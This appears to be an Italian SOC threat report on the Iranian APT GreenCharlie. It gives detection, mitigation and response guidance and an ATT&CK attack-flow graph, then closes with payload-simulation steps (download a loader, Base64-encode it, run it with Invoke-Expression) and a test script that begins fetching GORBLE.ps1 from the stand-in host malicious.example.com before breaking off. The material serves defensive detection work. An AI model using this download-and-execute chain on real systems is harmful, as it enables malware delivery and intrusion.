GreenCharlie: Il Report del SOC sugli Exploit PowerShell da APT Sostenuti dall’Iran
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo dell’Exploit di GreenCharlie PowerShell
GreenCharlie è un gruppo APT con sede in Iran che conduce cyber-spionaggio utilizzando una famiglia malware PowerShell a più stadi (GORBLE, TAMECAT, POWERSTAR). Il gruppo registra molti domini DNS dinamici per il phishing, utilizza script PowerShell offuscati con Base64 e codifiche bitwise personalizzate, e comunica con i server C2 tramite HTTPS POST. L’attività è aumentata nel periodo maggio-agosto 2024 con IP iraniani e servizi VPN che mascherano il traffico.
Indagine
Analizzare il traffico di rete per connessioni a domini DDNS e intervalli IP associati al gruppo (ad es., *.ddnsgeek.com, *.dns-dynamic.net). Cercare catene di esecuzione PowerShell che eseguono decodifica Base64 seguita da operazioni NOT bitwise, e script che invocano ScriptBlock.Create o Invoke-Expression. Monitorare l’iniezione di processi e l’esecuzione in memoria di payload decriptati. Correlare allarmi con tecniche ATT&CK T1583.001, T1566.002, T1059.001, T1568.
Mitigazione
Implementare una registrazione rigorosa di PowerShell (ModuleLogging, ScriptBlockLogging) e imporre la modalità linguistica vincolata. Bloccare o instradare il traffico verso noti provider DDNS e TLD sospetti (.info, .xyz, .icu, .network, .online, .site). Distribuire sandboxing DNS e filtraggio URL per domini di phishing. Utilizzare soluzioni di rilevamento e risposta degli endpoint (EDR) per rilevare script PowerShell offuscati e decrittazione AES in memoria. Applicare il principio del minimo privilegio per gli account di servizio e disabilitare strumenti di esecuzione remota non necessari.
Risposta alla Minaccia GreenCharlie
Quando viene rilevato un indicatore, isolare l’host compromesso, acquisire memoria volatile e raccogliere i log di PowerShell. Eseguire un’analisi forense per estrarre il payload decodificato e identificare i server C2. Revocare le credenziali compromesse, ruotare le chiavi segrete e rimuovere compiti pianificati relazionati o meccanismi di persistenza. Condividere le informazioni su minacce (IOC) (domini, IP, valori hash) con ISAC pertinenti e aggiornare le regole di rilevamento di conseguenza.
graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[“<b>Inizio</b>: Trigger di esecuzione iniziale”] class start action tech_execution[“<b>Tecnica</b> – T1059.001<br/><b>PowerShell</b>: Eseguire script per scaricare il payload”] class tech_execution technique process_download[“<b>Processo</b>: Scarica payload di secondo stadio”] class process_download process tech_obf1[“<b>Tecnica</b> – T1027.008<br/>Payloads Strippati (Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Tecnica</b> – T1027.014<br/>Codice Polimorfico (codifica variante)”] class tech_obf2 technique tech_decode[“<b>Tecnica</b> – T1140<br/>Decodifica/Deoffusca payload”] class tech_decode technique tech_dns[“<b>Tecnica</b> – T1071.004<br/>Protocollo Applicativo DNS”] class tech_dns technique tech_dga[“<b>Tecnica</b> – T1568.002<br/>Algoritmo di Generazione dei Domini”] class tech_dga technique tech_web[“<b>Tecnica</b> – T1102.002<br/>Servizio Web Bidirezionale HTTPS”] class tech_web technique tech_encrypt[“<b>Tecnica</b> – T1573<br/>Canale Cifrato AES”] class tech_encrypt technique data_exfil[“<b>Dati</b>: Informazioni di sistema (OS, nome computer)”] class data_exfil data tech_exfil[“<b>Tecnica</b> – T1041<br/>Esfiltrazione tramite canale C2”] class tech_exfil technique %% Connections start u002du002d>|attiva| tech_execution tech_execution u002du002d>|scarica| process_download process_download u002du002d>|offusca con| tech_obf1 process_download u002du002d>|applica| tech_obf2 process_download u002du002d>|decodificato da| tech_decode tech_decode u002du002d>|comunica tramite| tech_dns tech_dns u002du002d>|usa| tech_dga tech_dns u002du002d>|comunica tramite| tech_web tech_web u002du002d>|crittografa traffico con| tech_encrypt tech_encrypt u002du002d>|trasporta| data_exfil data_exfil u002du002d>|inviato tramite| tech_exfil
Flusso dell’Attacco
Regole di Rilevamento GreenCharlie PowerShell
Rilevamento dei Framework Malware PowerShell APT GreenCharlie [Windows Powershell]
Visualizza
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (tramite proxy)
Visualizza
IOC (IP) per rilevare: GreenCharlie APT: Campagne di Cyber Spionaggio Basate su PowerShell dell’Iran
Visualizza
IOC (email) per rilevare: GreenCharlie APT: Campagne di Cyber Spionaggio Basate su PowerShell dell’Iran
Visualizza
Istruzioni per la Simulazione del Payload
-
Narrativa degli Attacchi & Comandi:
Fase 1 – Recuperare il caricatore dannoso:
L’attaccante usaInvoke-WebRequestper scaricare uno script PowerShell denominato GORBLE.ps1 da un server C2.Fase 2 – Codificare il payload:
Lo script scaricato contiene il payload dannoso. L’attaccante codifica l’intero script in base64 e lo memorizza in una variabile$x.Fase 3 – Eseguire tramite cmdlet ad alto rischio:
UtilizzandoInvoke-Expression, l’attaccante decodifica$xal volo ed esegue, invocando così il framework GORBLE.Fase 4 – Spostamento laterale (opzionale):
Il payload potrebbe successivamente chiamareScriptBlock.Createcon una stringa offuscata bitwise-NOT per avviare un comando PowerShell di secondo stadio su un host remoto. -
Script di Test per la Regressione:
# ------------------------------------------------- # Simulazione del Framework PowerShell APT GreenCharlie # ------------------------------------------------- # 1. Simulare il download del framework dannoso (parola chiave GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - payload dannoso simulato